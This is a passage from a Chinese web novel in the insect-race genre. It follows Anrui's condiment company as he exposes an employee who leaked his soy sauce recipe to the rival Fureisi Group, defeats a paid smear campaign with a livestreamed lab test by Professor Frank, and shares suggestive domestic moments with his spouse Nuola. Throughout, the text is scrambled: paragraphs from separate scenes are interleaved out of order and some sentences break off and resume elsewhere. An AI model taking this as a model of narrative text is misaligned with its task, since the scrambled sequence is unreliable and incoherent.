《地下室的秘密》里面几乎每篇文底下都有这个账号的评论。 ——老师写的很好,赞! ——提一个小建议,诺拉是不会反抗雄主的…… ——老师写的很甜(点赞)(点赞)(点赞) 淡色的眉毛紧紧皱起,安瑞忍不住又打开文章,仔细对照。 就是诺拉的账号没错。 我的唇边,我侧过头,伸出舌头……” 安瑞用脚碰了碰诺拉的膝盖:“继续啊,怎么停了?” “我伸出舌头……伸出舌头……”诺拉急得眼尾泛起红晕,看着文章下面大段大段露骨的描述, 好不容易消下去的红晕再次出现了诺拉脸上,他偏过头,小心翼翼地将安瑞的手指含在了嘴里。 夜还很长…… * 第二天。 安瑞正给艾米盛豆浆,忽然就见小虫崽指着诺拉惊呼了一声。 “雌叔,你脖子上怎么有一道红印?” 安瑞捏了捏诺拉脸边地软肉:“喜欢文里那么来?” “啊?”诺拉一脸茫然。 安瑞轻笑了几声,伸出修长白皙的手指,放在了诺拉的嘴边。 “你雌叔脖子上的红印是看智脑看得,乖乖别担心。” 小虫崽眨着一双滚圆的眼睛,睫毛又卷又翘,像两把小扇子一样。 “看智脑居然还会脖子上长红印吗?” “会呀,所以小艾也要学会适度上网,别看那些不该看的,知道不?” 安瑞一边说,一边轻飘飘撇了诺拉一眼。 诺拉被臊得耳朵尖通红,几口喝干了碗里的豆浆,拿着军装外套仓皇而逃。 安瑞把小虫崽送去上学,刚想着要不要开一场直播,忽然就看到虫网上出现了一条热搜。 【福瑞斯集团官宣新产品】 安瑞心中生出几分不好的预感,点开词条,置顶是福瑞斯集团官方账号发的一条帖子。 【小福家的新产品来啦,0添加酱油,一瓶只要19.8星币,5月1日上线,敬请期待哦】 自从开调料厂以来,安瑞就想到了会有竞争对手打调料配方的主意,只是没想到来的这么快。 还没等他多看几条帖子,智脑上弹出了夏洛的语音申请。 安瑞刚点了接听,那边就传来了亚雌焦急的声音:“热搜你看了没,格林家族的虫真不要脸。” “我刚刚看了,不就是福瑞斯集团也出了酱油么。” 安瑞的声音不疾不徐,好像这件事跟他没什么关系一样。 “你看到福瑞斯集团的定价了吗,一瓶酱油19.8星币,这不是算准了要跟咱们打价格战吗。”夏洛的声音更急了几分,“格林家族垄断着整个虫星的舒缓剂,那可是上百亿星币的大买卖,真要是打起价格战,咱们绝对会被耗死。” “你别着急。”安瑞温声安抚,“车到山前必有路,想看看福瑞斯集团做出来的酱油什么样吧。” 酱油要是真这么容易背复刻出来,他也不敢开调料公司。 挂了语音,安瑞垂眸想了想,又给维加发了个语音申请。 “阁下日安。”智脑里传来工厂机器运作的嘈杂声音,“您有什么吩咐吗?” 安瑞开门见山:“我怀疑咱们酱油的配方可能被泄密了。” “按您的要求,所有员工都签了保密协议,而且每个操作间都是隔离的……” 维加语速飞快,焦急地解释。 诺拉浑身一僵,下意识地扯了扯军装的领子:“哪里有什么红印,你看错了吧。” “真的有,很深一道。” 艾米从凳子上跳下来,噔噔噔跑到诺拉面前,抬手就要扒诺拉的领子。 诺拉吓了一跳,低声斥了一句:“回去吃饭,有没有点规矩。” 艾米顿时被吓得不敢再动,一双蓝色的大眼睛里浮现出了水雾。 诺拉看虫崽这幅样子,一时有点后悔,又不知道该怎么哄,只好求助得看向安瑞。 安瑞假装没看见,只是自顾自坐在位子上喝豆浆看戏,直到诺拉的眼神里带了几分哀求的神色,才大发慈悲地站起来,把小虫崽拉到自己身边。 忽然向前径直扑到了安瑞怀里,用脸使劲蹭着自家雄主的脖子,“诺拉知道错了,您……您就饶了诺拉这回吧。” 安瑞一手搂着诺拉,一手轻轻挑起他的下巴:“还敢不敢看这些乱七八糟的了?” 诺拉使劲摇头:“不敢了。” 至少不敢再在家里看了。 “我知道,现在形式应该还处于可控阶段,你这几天帮我查查监控,看看有没有可疑虫员。” 维加语气一变,认真道:“我明白了,阁下放心。” * 与此同时,福瑞斯集团总裁办公室。 虽然他现在是福瑞斯集团的CEO,也是格林家族公认的继承者,但他上面有三个雌兄,下面还是七八个雌弟,全都虎视眈眈地盯着他这个位子。 诺拉轻轻咬了一下嘴唇,又赶紧松开:“您也别太担心了,诺拉努力挣军功,努力赚钱……” 安瑞忍不住笑了,双手搂住诺拉的脖子,半开玩笑地眨眨眼:“那就要辛苦我家中将了。” “雄主。”诺拉被安瑞弄得耳尖有些泛红,“我是跟您说认真的。” “行了,不闹你了。” 安瑞放开诺拉,拿起手里的酱油,倒在碗里,用筷子尖蘸了一点,刚添了一下,眼睛里就露出了淡淡的笑意。 就这东西,还想跟他打价格战,别说是19.8一瓶,就算是1.98一瓶,也不见得有虫买。 “雄主?” 安瑞猛地回过神来,用筷子又蘸了一点盗版酱油,递到诺拉嘴边:“尝尝?” 他要是把调料市场让出去,恐怕要不了多久福瑞斯集团的CEO就要换虫了。 想到这,道格拉斯一咬牙。 “颜色浅就加色素,味道轻就加食盐,长了灰毛就过滤出去,5月1号,我要看到新产品上架,明白了吗?” 亚雌秘书神色一凛,忙不迭地点头:“是。” 第六十三章反击 5月1日,福瑞斯集团的酱油如期上架。 种花牌酱油99星币一瓶,虽然买二送一的活动还没结束,但合下来一瓶也要60多星币,不算特别贵,但相比于19.8一瓶的酱油,显然不是很有性价比。 诺拉下班回家,把安瑞托他买的酱油放在桌上,忧心忡忡地看着自家雄主,想劝解两句,却又不知道该从何劝起。 毕竟,福瑞斯集团背后的实力过于强大,就算是他这个完全不懂生意的虫也知道,这场价格战,自家雄主必输无疑。 安瑞刚抬起头,就看见了诺拉一脸纠结的样子,忍不住勾了勾唇角,先把怀里看电视的小虫崽哄回屋子做功课,才轻轻捏了一下自家雌君的脸:“想说什么就说。” 诺拉不明所以地舔了一下,而后就皱了眉:“怎么这么咸,还有点发苦。” 道格拉斯盯着桌上的一瓶棕黑色液体,忍不住皱眉:“这颜色不对啊,而且上面灰色的东西是什么。” 亚雌秘书小心翼翼地解释:“奥德拉说颜色浅是因为制作的时间比较短,至于上面灰色的霉菌,他也不知道为什么会出现。” “荒唐。”道格拉斯一拍桌子,“他不是种花的核心员工吗,怎么这都不知道。” “奥德拉解释说调料厂每个生产线都被分成了不同操作间,员工只能进出自己的操作间。他已经尽力和其他员工打听了,希望您再给他一段时间。” “再给他一段时间。”道格拉斯冷哼一声,“新品预告我都发出去了,怎么宽限时间,更何况再过一个月,市场就要被种花调料给抢完了。” 亚雌秘书只是垂着头,一句话也不敢接。 道格拉斯翻了翻这个月的财务报表,越看越心烦,干脆丢到了一边。 安瑞勾了勾唇角,抬起筷子在雌虫脑袋上轻轻敲了一下:“这回放心了?” 诺拉脸上又露出些红晕,忍不住抬手揉了一下额头。 安瑞放下筷子,又拿起酱油瓶细细观察,忽然看到瓶子底部有几丝灰色的霉菌,如果不仔细看固根本看不出来。 “诺拉,你看看这个。”安瑞生怕自己看错了,把视力比自己强好几倍的雌虫叫过来,“瓶子里面是不是有灰色的东西?” 诺拉凑过来看了一眼:“是有一点灰色的杂质。” 安瑞神色一凛,打开智脑,给夏洛发去了语音申请。 “福瑞斯集团的酱油你买了吗?” “买了,味道不对。”夏洛终于恢复了平日里散漫的语调,“怪不得上次你一点都不着急,原来早就知道福瑞斯集团做不出来酱油。” “你泄密了,但是你没跑,还这么快就承认了。”安瑞声音温和,“所以我猜,你有苦衷,是为了你弟弟,对不对?” 奥德拉猛地愣住了,一双紫罗兰色的眼睛愣愣地看着安瑞,嘴唇却抖得不成样子。 “家里出了事为什么不找我,反倒要被道格拉斯钻了空子。”安瑞轻轻叹了口气,把雌虫从地上扶起来,从兜里掏出一张信用卡,“这里面是二十万星币,就当我借你的,你弟弟手术要紧。” 眼泪大滴大滴落在地上,奥德拉脸涨得通红,却又说不出不要星币的话。 他弟弟自从出生肾就不好,好不容易等来了合适的肾源,家里又凑不够手术钱,他这才背信弃义,把酱油的做法卖给了道格拉斯,只想着拿到星币给弟弟做了手术,就向安瑞自首。 可谁想到,道格拉斯居然说他给的配方不对,拒绝给他承诺的星币,似乎是笃定了他不敢把这件事泄露出去。 “福瑞斯集团的酱油不光是味道不对的问题,酱油里面有霉菌。”安瑞抿着唇,“我在想咱们要不要举报给食品安全部门。” “没事。”安瑞温声打断了维加的话,“福瑞斯集团新出的酱油有问题,咱们还有时间。” 他轻轻晃悠着酱油:“别的操作间都不用查了,你就专心查负责制曲的那几个员工就行。” * 范围一旦缩小,查起来就容易多了,不到三天,维加就给安瑞发消息,说是泄密一事有眉目了。 安瑞赶到工厂,就看到维加薅着一只有些跛脚的中年雌虫走进来,一脚踹在他的腿腕上,把他按着跪下才沉着脸开口:“阁下,之前跟福瑞斯集团泄密的就是奥德拉。” 安瑞坐在椅子上,看着维加一脸很铁不成钢的神色,安抚地朝他笑了笑。 “奥德拉是吧?”安瑞脸上不辩息怒,低头看着跪在地上的雌虫,“为什么?” 跛脚雌虫脸上浮现出痛苦的神色,低垂着头,轻轻说:“对不起,阁下。” 安瑞没理他,只是自顾自说:“道格拉斯给了你很多钱吗,可你这种行为,已经构成泄露商业秘密了,我真要起诉你,你那些钱全得被没收了不说,还得蹲上三年监狱,何必呢?” “我……”奥德拉脸上是一片绝望的灰败,“对不起。” 安瑞摇摇头,忽然从椅子上站起来,走到奥德拉面前,蹲下,平视着他:“酱油制作,制曲是最重要的,所以每个制曲操作间的员工,都是我仔细挑出来的。你曾经是维加手下的少尉,维加说你在战场上舍生忘死,为了守住边境的荒星,不惜拼到弹尽粮绝。” 奥德拉浑身忍不住颤抖,两行浊泪顺着眼角滚滚而下。 “霉菌?那当然得举报了。”夏洛收起调笑的语气,正色道,“我知道你担心什么,但我们亚当斯家也不是吃干饭的,只要事情查实了,不把福瑞斯集团搞黄,也得高低罚他几千万星币。” 安瑞点头:“那这件事就麻烦你了,我也抓紧查查泄密的员工。” 如果能把泄密的员工揪出来,说不准还能依据反不正当竞争法起诉福瑞斯集团。 安瑞和夏洛简单交代了两句,挂断语音,又给维加发了语音申请。 “你最近差得怎么样了?” “阁下,我已经在查了,但是监控太多,我又不敢随便找别的员工帮忙,所以还没查出来。”维加声音里含着自责,“真的抱歉阁下,我……” 他原本已经绝望了,没想到安瑞居然会借钱给他弟弟做手术。 “阁下,我……”奥德拉再次跪了下去,“我谢谢您,等我弟弟手术做完,我自己去公安局自首。” 安瑞把奥德拉扶起来:“自首然后呢,进监狱?放你雌弟自己在外面生活,你放心?” “我……” “这样吧,你帮我个忙,这件事要是做好了,我就签谅解书,这样你也不用蹲监狱了。” 紫罗兰色的眼睛瞬间亮起了光,奥德拉哽咽着点头:“阁下吩咐,只要我能做到的,我都做。” * 十日后。 道格拉斯看着面前依旧颜色不对的酱油,抬手就把酱油瓶扫在了地上。 “真的出事了,刚刚工厂和门店那边传来消息,说是有虫举报咱们生产的酱油不符合食品安全标准,食品安全部门的工作虫去检查了。” 道格拉斯神色一凛:“举报?” 还没等他反应过来,法务部经理也慌慌张张冲进来,手里还拿着一份起诉状:“总裁,不好了,种花调料公司起诉咱们不正当竞争,要求咱们赔偿500万星币的损失。” 道格拉斯被气了个仰倒,接过起诉状一看,证据一栏赫然填着奥德拉的供词,还有前几天奥德拉来跟他说完整配方的录音。 道格拉斯这才反应过来,自己被安瑞算计了,忍不住狠狠一拍桌子,刚要发作,就见一只中年雌虫走了进来。 “雌父?”道格拉斯慌忙起身,声音里不由自主地带了几分恐慌。 “蠢货。”乔治指着道格拉斯的鼻子,“你看看你看的好事。” 道格拉斯被骂得一句话也不敢说,只能垂手站在一边。 乔治气哼哼在总裁椅子上坐下来,道格拉斯亲手倒上一杯水,才小心翼翼地问:“雌父,咱们现在怎么办啊?” “啪”地一声,玻璃瓶登时四分五裂,亚雌秘书也跟着狠狠抖了一下。 “前几天,那个奥德拉不是说查到了完整的酿造方法吗,怎么还是做不出来?” “这,我也不知道,但研发部门确实是按照奥德拉的配方做的。” “让研发部经理过来……” 一句话还没说,市场部经理匆匆推门而入:“总裁,出事了。” 道格拉斯深深皱起眉,拾起桌上的一根笔就丢了过去:“出什么事了大惊小怪的,没有点礼数。” “怎么办?该交罚款交罚款,该赔偿赔偿,该整顿整顿。” 道格拉斯顿时苦了脸:“那咱们家调料不卖了不成?” “愚蠢!”乔治恨铁不成钢地看着自家雌子,“既然做不出来酱油,你就不会让酱油在虫星消失?” 第六十四章谣言 “消失?”道格拉斯怔愣了片刻,“您的意思是?” 福瑞斯集团的赔偿款到账还没有一个星期,网上居然出现了一个吃了种花牌酱油之后上吐下泻的帖子。发帖子的是个没什么粉丝的网友,没想到帖子莫名其妙就火了,紧接着就是扑面而来的各大营销号的帖子。 【震惊,酱油内居然含有致癌物质】 【警惕!一种新型毒*品正在蔓延】 乔治冷笑一声,一双生满了皱纹的眼睛透出阴狠的目光:“既然咱们的酱油有安全问题,为 * “你看到今天早上的新闻了吗?福瑞斯集团被罚了480万星币,生产酱油的工厂也被责令停业整顿。”夏洛喜气洋洋地给安瑞发着语音,“还有,我找的律师团队今天上午跟我说,福睿斯集团那边申请调解,咱们提出的赔偿他们照单全付。” 安瑞忍不住皱了皱眉:“这么顺利?” “就是这么顺利,惊不惊喜,意不意外。”智脑那头传来夏洛美滋滋的声音,“要我看,格林家族这是认怂了,不过他们的重心一向在舒缓剂上,调料那点钱,说不准就让给我们了呢?” 安瑞低垂眼眸,声音里带了几分迟疑:“这么快就服软,不像是格林家族的性格啊。你也别高兴得这么早,小心乐极生悲,被对手钻了空子。” * 安瑞也就是随口一提,却没想到自己竟然真的一语成谶。 【虫崽记忆力下降,原来是因为吃了它】 一时之间,酱油的危害五花八门,简直比耗子药还要毒上三分。除了这些狗血营销号,竟然还有好几个顶着教授、专家头衔的虫,也一本正经地对着镜头说酱油的害处。 除此之外,还有不少更加尖锐的针对安瑞的帖子,说什么安瑞是黑心资本家,一瓶酱油居然什么安瑞的酱油就没有?” 道格拉斯小心翼翼地说:“因为咱们家的酱油酿造手法有问题?” “蠢货!”乔治一巴掌扇在道格拉斯头上,“我怎么生了你这么个蠢货。” 或许是一巴掌打通了雌虫的任督二脉,道格拉斯终于恍然大悟:“雌父高明,您的意思我明白了,我这就去安排。” 卖了60多星币,还有说安瑞的一星币咖喱酱味道有问题,就是因为用了已经腐烂的蔬菜,还在立什么慈善家虫设,简直又当又立。 仅仅是七十二小时的功夫,舆论就已经发酵得满虫网都是,就连诺拉这种常年只关注机甲和吸引雄虫108式的虫,也被推着看了好几篇营销号。 “简直太过分了。” 诺拉气得直接把智脑摔在了沙发上。 恰恰相反,正是他的性别导致他一开始都没法正常上传视频。 第二天,种花调料公司就在网上发布了声明,明确表示公司生产的全部产品均符合帝国安全标准,欢迎大家监督,但对造谣者绝不姑息,将坚决追究法律责任。 声明一出,顿时激起了千层浪,还没等网友反应过来,水军已经扑了上来。 ——黑心调料公司拒不承认事实 ——追究法律责任,他们自己生产的酱油有问题,反倒要追究我们法律责任? ——我就静静地看着,黑心公司什么时候倒闭@食品安全官方账号 按照他的直觉,只要格林家族不是把他给绝育了,雄保协会八成是不会出来管的。 “那怎么办啊?” 诺拉眉头紧皱,一时也想不出什么更好的办法。 “之前不是有虫说过,如果公司开不下去了就养我。”安瑞轻轻勾了一下诺拉的下巴,“不知道中将说话还算不算数。” “雄主!”诺拉使了点劲拍掉了雄虫作乱的爪子,“都什么时候了您还开玩笑。” 看到自家雌君真的急了,安瑞这才摸摸鼻子收回了那副调笑的样子,安抚地亲了亲诺拉的额角:“放心吧,不就是一点谣言吗,我有办法对付。” * “呦,谁惹我家雌君生气了?”安瑞往把排骨炖上,擦着手走到客厅,从身后抱住诺拉,“怎么生这么大气?” “网上的帖子您没看?” “我看了。”安瑞随口应了一句,一双手已经不老实的伸进了诺拉的睡衣里。 “雄主!”诺拉第一次推开了自家雄主,一双眼睛里含着深深的焦虑,“要不咱们还是报警吧,或者找雄保协会,直接告他们诽谤雄虫。” “都是一些工作室找的僵尸号,告也没用,更何况有格林家族在背后,雄保协会怎么敢管。” 来虫族将近一年,安瑞也慢慢感觉到了,雄虫社会地位确实特别高,连虫皇都要行礼,还可以随意打骂处置自己的雌侍雌奴。但与此同时,雄虫也好像一直被养在笼子里的金丝雀,只负责生蛋,为雌虫舒缓精神力,从军政要职,再工农商贩,无一不是雌虫和亚雌在做。 至少,他这一路创业以来,除了凭借雄虫身份意外吸粉那一次,性别并没有给他带来多少红利。 但不管怎么说,有了这条声明,安瑞的一些骨灰级粉丝终于敢下场手撕水军了。 ——造谣要负法律责任,某些公司长点心吧,别什么烂饭都恰 ——笑话,安安在直播里酱油都用了不知道多少回,真要是酱油有毒,他还敢这么吃 ——某些公司吃相有点太难看了,产品做不出来就开始玩阴的是吧 可惜这些粉丝的力量还是比不过公关公司,这些评论很快就淹没在了铺天盖地的水军当中。 不过,安瑞倒是一点都不着急,要是一个声明就能把这场舆论风波化解了,那才是天方夜谭呢。 这篇实验报告一出,不仅安瑞的粉丝怼水军怼得更加有底气,就连原本对酱油有毒言论坚信不疑的网友也不由得开始怀疑,那些营销号发的帖子会不会真的是谣言。 当然,公关公司不可能这么快认输,他们不敢攻击德高望重的弗兰克教授,就让水军把矛头对准了安瑞。 ——怎么保证送去实验室检验的酱油和卖给我们的酱油一模一样呢 ——要是酱油没毒,福瑞斯集团为什么会被责令整改 ——我听说,种花调料公司特意往酱油里加了止泻药,这才暂时没出事,如果经常吃,说不定会得肠癌呢。 水军一出,不少立场不坚定的网友又开始相信酱油有毒论了,但如果仔细看,不少营销号的评论区已经零星出现了一些对酱油有毒论表示质疑的路虫网友,虽然评论一出很快就淹没在了水军当中,但隐隐也表现出了,舆论的风向正在悄然发生着变化。 安瑞正在津津有味地翻评论区,忽然以页面一变,夏洛的语音申请弹了出来。 “弗兰克爷爷的实验报告已经发了,但是好像用处不大。”因为着急,夏洛的声音都有些快,“要我看,要不咱们也找几家公关公司,水军控评算了。” “恐怕福瑞斯集团那边正等着咱们找水军呢。” 安瑞上辈子从大学开始就玩互联网,对里面的门道不说一清二楚,也知道的八九不离十。 水军的背后就是钱,跟福瑞斯集团这样量级的资本比着烧钱,简直就是自找死路。 安瑞垂眸沉思了片刻:“我记得你说过,弗兰克教授也是亚当斯家族的旁支,能不能请弗兰克教授团队来我们调料厂,直播做一次实验。” 随着科技进入星际时代,很多原本笨重无法搬运的实验仪器都变得精致小巧了不少,所以安瑞才敢提出这样的建议。 “你是说直播辟谣?”夏洛声音一喜,“我觉得可以试试。” * 三天后,调料工厂。 “大家好,欢迎来到小安的直播间。” 发声明只是为了展示一下种花调料公司的态度,重头戏还在后面呢。 四小时后,就在网上针对种花调料公司的声明吵得不可开交的时候,帝国大学农学院院长弗兰克教授团队忽然在网上发了一篇实验报告。 报告里详尽地阐述了他们团队做的有关酱油的实验,实验结果表明,酱油不含毒素,也不会致癌,是可食用的调料。 报告的语气很中立,实验也很中立,但支持哪方显而易见。 弗兰克教授可是帝国大学首屈一指的教授,农学领域毫无疑问的顶级专家。最关键的是,一百年前,就是弗兰克教授带领他的实验团队,帮助虫星攻克了粮食蔬果产量低的难题,广大平民才能吃上相对评价的新鲜蔬果。 现如今,弗兰克教授已经一百五十多岁,但依旧活跃在教学和科研的一线,可谓德高望重,德艺双馨。 安瑞刚打开直播,在线观众数量顿时就飙升到了将近200万。 但是和以往热热闹闹的直播间不同,安瑞刚一开播,弹幕瞬间就被水军淹了 【00076:黑心公司还敢开播,真不要脸】 【小e:要不说人家能挣到钱呢,昧着良心就是干】 【若若若若:而且我听说,黑心公司背后有保护伞,就连食品安全部门都管不了他们】 【李·嗷:真的假的,有点吓虫了,反正黑心公司的调料,再好吃我也不敢买了……】 安瑞淡定地看着被水军控评的弹幕:“今天我开直播,就是要对最近网上有关种花调料公司的谣言进行回复。” 他拿起遥控轻轻一按,半空中瞬间浮现出一个虚拟屏幕,上面写着五个大字——辟谣发布会。 安瑞轻轻抬手,镜头一转,页面上出现了穿着实验服的弗兰克教授。 “针对网上出现的各种谣言,我特意把弗兰克教授请到了调料厂,现场为大家实验辟谣。” 直播间的弹幕瞬间安静了。 第六十五章直播辟谣 【AAA纯情小军雌:我看回那些造谣的水军还有什么可说的,这两天气得我都要早产了……】 【翅膀硬了:放心,他们会说这一屋子的酱油全是假的(狗头)】 安瑞话音刚落,弗兰克教授的学生已经从酱油缸里逐个提取了样品,放进检验仪器中。 不到一刻钟,检测报告已经出来了,弗兰克教授亲自指着检测结果对智脑镜头说:“经过检测,种花调料公司生产的酱油完全符合帝国食品安全标准,不存在致癌、腹泻、记忆力下降等风险。” 【今天找到雄主了吗:就一个字,爽】 【小e:食品安全标准也不一定全面啊,万一是别的元素会导致腹泻呢】 【李·嗷:笑死,不会真有傻瓜相信吧,之前吃酱油吃出事来的新文还少吗?】 【早八我恨你:确实哎,我有个室友就因为吃了酱油,吐了整整三天……】 【为帝国健康工作150年:可弗兰克教授都说没事了,救命,我现在真不知道该相信谁了】 安瑞胸有成竹地看着弹幕,抬手用遥控器轻轻一点,空中的虚拟屏幕一闪,立刻换了一行字: ——谣言2:福某斯集团的酱油拉肚子,所以酱油不能吃 安瑞抬头看着那行大字,很是无语了几秒:“这句话的逻辑我真不想吐槽了,就有没有一种可能,福瑞斯集团的酱油吃完了会呕吐腹泻,不是酱油有毛病,而是福某斯集团的酿造工艺有问题呢?” 【萱儿:我笑晕了,安安好无奈】 【说了你也不信:真的,这个谣言从第一天开始我就没看明白过,这帮水军到底是咋想的】 【午饭吃什么:最绝的是居然还有那么多虫会信(无语)】 【早八我恨你:……居然还能这么解释吗?不管了,先蹲一个】 “我知道我这么说很多朋友也不会信,那今天,有图有真相,我就请弗兰克教授现场揭秘,为什么福某斯集团生产的酱油,食用之后会出现呕吐现象。” 安瑞说着,从桌上拿起一瓶酱油,又拿出一张打印的截图:“福某斯集团官方旗舰店正版渠道购买,全新未拆封,不信的朋友可以截图比对哈。” 【今天找到雄主了吗:我笑疯了,安安求生欲一如既往的强】 【甜甜圈拌米饭:没办法,求生欲不强斗不过那些水军啊】 【喵喵至上:我猜水军下一个操作是举报安安在直播间违规展示未授权商标(狗头)】 安瑞把酱油对着直播间镜头拧开,递给弗兰克教授的学生。 很快,实验结果就出来了,弗兰克教授亲自拿着智脑对准了显微镜:“各位,左边是福瑞斯集团的酱油,右边是种花调料公司的酱油,大家能看出有什么区别吗?” 【萱儿:福瑞斯集团的酱油里有灰色的东西,好恶心】 【午饭吃什么:弗兰克教授你要说福某斯集团,小心被起诉】 【西瓜彩虹糖:我笑晕了】 “没错,左边的酱油里灰色丝状物就是我们经常说的霉菌,也正是因为含有霉菌,食用之后才会出现呕吐腹泻的症状。”弗兰克教授手微微一转,把镜头切换到右边的样本,“但是我们可以看到,种花调料公司的酱油里,并没有霉菌,所以大家不用担心。” 【草莓冰棒:救命,弗兰克教授讲话风格真的好像我专业课老师】 【早八我恨你:怪不得我室友吃了福瑞斯集团的酱油会呕吐,我雌兄家里买了种花的却没事,原来不是因为止泻药啊】 【西瓜彩虹糖:前面的崽真的好单纯,这就是清澈中透着愚蠢的大学牲吗】 “现在有关酱油质量本身的谣言,我已经全部回应完了,大家如果没有什么别的疑问,我就先送弗兰克教授上星舰了。” 【翅膀硬了:艹,这两天辟谣辟得我手都快抽筋了,我看这会那帮水军还有什么好说的】 【毕设写完了吗:我艹,弗兰克教授,我偶像,主播太牛了呜呜呜】 【喵喵至上:我现在彻底糊涂了,所以酱油到底能不能吃啊,我还是挺想吃红烧排骨的】 【今天找到雄主了吗:真说了一万次了,如果酱油有毒,安安会每天都在直播间用酱油做饭吗……】 【甜甜圈拌米饭:你们最好全都觉得酱油有毒,这样我就再也不担心买不到酱油了(狗头)】 安瑞和弗兰克教授寒暄了几句,轻轻点了一下遥控器,悬浮在空中的虚拟屏幕上顿时冒出了一行大字: ——谣言1:实验报告的酱油和卖出去的不是一种。 “来,各位,针对这个谣言,今天我们就从流水线上随机盛一试管酱油,让弗兰克教授当场检验。” 安瑞说着,举着智脑走到晒制间,指着一排排一米多高的巨大号酱油缸:“这些就是已经晒制好,可以装瓶出售的酱油,为了防止你们说我弄虚造假,我会从每个缸里抽取一部分酱油。” 【早八我恨你:天啊,第一次看到这么多酱油,震惊我一整年】 【小Q:就算酱油能吃,一个调料而已,卖这么贵,还说什么慈善家】 【海星还行:我前两天买了那个1星币的咖喱,居然是苦的,我一下就不敢吃了】 【翅膀硬了:我就知道,水军黑不成酱油就要开始黑安安,我说话难听我先下了】 “慈善家?”安瑞把弗兰克教授送出去,又立刻回来看弹幕,“我可从来没说过我是慈善家,我是做生意的,一个企业要活下去,自然就得有利润。” 【小e:两头都让你说了是吧,简直又当又立】 【李·嗷:先用1星币的咖喱做噱头,现在到想来自己是做生意的了,真是搞笑】 安瑞轻轻弯了弯唇角,黑色的眼眸里却含着几分悲天悯虫的怅然:“在咖喱块里放苦瓜确实在增高成本的同时降低了口感,看起来好像是一个费力不讨好的行为,可你们想想,如果一星币的咖喱味道也很好,真正该需要他的虫还能买到吗?” 【今天找到雄主了吗:安安好聪明】 【翅膀硬了:这招牛哇】 【早八我恨你:本来是像吃瓜,结果发现主播的操作好像可以用作期中案例分析】 【草莓冰棒:上面的哥又幸福了,我的期中做作业还莫得着落呢……】 安瑞低垂眼眸,好像很失落的样子:“我们不可能去核实每一个顾客的身份,我也不敢赌虫性,所以只能用这种费力不讨好的办法进行筛选,既然你们都觉得我用烂菜叶牟利,那不如把这款产品下架算了。” 【早八我恨你:!!!不可以,我真的很需要】 【废品回收·私:主播我错了,我承认我刚刚声音有点大】 【白菜别涨价:我劝你不要下架,如果你不听,我只能跪下求你了】 【凑合活着吧:啊啊啊啊安安那些说你不好的都是水军,你千万别信,求求了】 漆黑的眸子里闪过几分不为虫知的笑意,安瑞抬起头,装作勉强的样子:“既然你们这么说,那暂时不取消一星币咖喱了,不过要是再让我看到有虫在网上造谣……” 【白菜别涨价:老子第一个骂死他】 【凑合活着吧:+1】 【废品回收·私:+10000】 * 与此同时,福瑞斯集团总裁办公室。 道格拉斯气急败坏地把智脑摔在沙发上:“那两家公关公司的负责虫呢,都是死虫吗,给他们发语音申请。” 亚雌秘书哆哆嗦嗦地发了语音申请,结果刚响了三声就被挂断了。 “还敢挂我语音!” 【废品回收·私:做生意就可以用烂菜叶了,我们底层虫的命不是命】 【白菜别涨价:就是的,最看不惯主播这样的虫,一边挣着低层的钱,一边还用低层赚好感】 “你们别着急,听我把话说完。” 看着刷刷滚动的弹幕,安瑞脸上并没有什么气氛的表情,眼睛里反倒是含着几分悲悯和无奈:“1星币咖喱口感会发苦,我承认,但这不是因为我用的调料不好,而是1星币咖喱的原料里有苦瓜。” 安瑞一边说一边拿着智脑走到咖喱生产间,对准了正在翻炒咖喱的机器:“我放大一点,绿色的原料就是苦瓜。” 【废品回收·私:???不是主播你是不是闲的,没事往咖喱里放苦瓜干啥】 【草莓冰棒:安安这波操作,我真有点看不懂了,苦瓜很贵的……】 【早八我恨你:不理解+1】 道格拉斯恶狠狠咬着牙,刚要发作,就听亚雌秘书颤颤巍巍说:“总裁,公关公司发了消息,说是这个项目确实没办法继续了,尾款他们不要了。” “艹!”道格拉斯第一次爆了粗口,“全虫星就他们一家公司不成?你再去找别的公关公司,价格随他们开。” 十五分钟后,亚雌秘书瘪着嘴小心翼翼地走进来:“总裁,所有数得上的公关公司我都问了,一个愿意接的也没有。” 道格拉斯的胸口剧烈地欺负,刚要继续开骂,门一响,乔治走了进来。 道格拉斯知道,他彻底完了。 第六十六章破壳日 “叔父。” 艾米放学回家,放下书包就冲进了厨房,扑在安瑞的腿上,甜甜地撒娇。 “好乖。”安瑞放下打蛋器,揉了揉小虫崽的脑袋,“乖乖饿不饿,冰箱里有甜点,可以吃一点。” 上次直播后,谣言彻底被平息,调料公司的营业额恢复到了正常水平,调料厂和店铺也渐渐走上正轨,安瑞也终于能回到过去的生活节奏。 艾米和诺拉也终于不用吃谷初和味本的外卖了。 “不饿呀。” 艾米低着头,一双蓝汪汪的大眼睛里露出了几分纠结的神色:“叔父……” “怎么了乖乖。”安瑞蹲下来,平视着自家崽,“在学校遇到不开心的事了?” “没有。”小虫崽抿了抿嘴唇,忽然问,“您有没有什么想要的东西啊。” 安瑞愣了一下。 “什么想要的东西?” “雌父。”道格拉斯慌忙从椅子上站起来,“您怎么来了。” “直播的事我都知道了。”乔治脸上不悲不喜,“往后福瑞斯集团的产量减半吧,那些花里胡哨的产品也都下架,就卖食盐和白糖。另外,你也不用做这个总裁了,舒缓剂原料的供应商有个雄子刚刚成年,你收拾收拾,准备去做雌侍吧。” 看着中年亚雌背着手踱出去,道格拉斯跌坐在椅子上,一双眼睛里是死一般的绝望。 放下事业出嫁,还是个雌侍,连雌君都不是。 “就是……就是礼物。”小虫崽有点着急地咬了咬嘴唇,“雌叔说叔父的破壳日快到了,让我来问问您有没有什么想要的……” 一句话没说完,艾米忽然慌张了捂住了嘴:“天啊,雌叔不让我告诉您的,叔父您能不能假装没听见。” 原来是自己的生日快到了吗? 或许是缘分,他的生日和原主的破壳日恰好在同一天,都是5月28日。 只是他上辈子父母去世的早,身边也没什么特别亲近的朋友,慢慢地也就不再过生日了。 安瑞压下心中的回忆,捏了捏小虫崽的脸:“雌叔是要给叔父一个惊喜吗?” “对。”艾米使劲点头。 “那好吧,那叔父可以假装不知道,但是小艾要怎么跟雌叔说呢?” “不知道哎。” “小艾可以和雌叔说,不管雌叔送什么叔父都开心。” 艾米迷茫地摇了摇头,直觉告诉他好像哪里有问题,又实在想不出来,只好乖巧地点头:“好的叔父,小艾记住了。” 小虫崽一句话刚说完,门口就传来了响动。 艾米愣了一下,然后高高兴兴跑出去冲到诺拉面前,又很快地刹住车:“雌叔。” “嗯。”诺拉把军帽摘下来,“最近有没有考试,今天老师讲得东西都学会了没?” 说好的保密呢? * 晚饭后。 诺拉检查完小虫崽作业,回到主卧,安瑞正靠在床上剪视频。 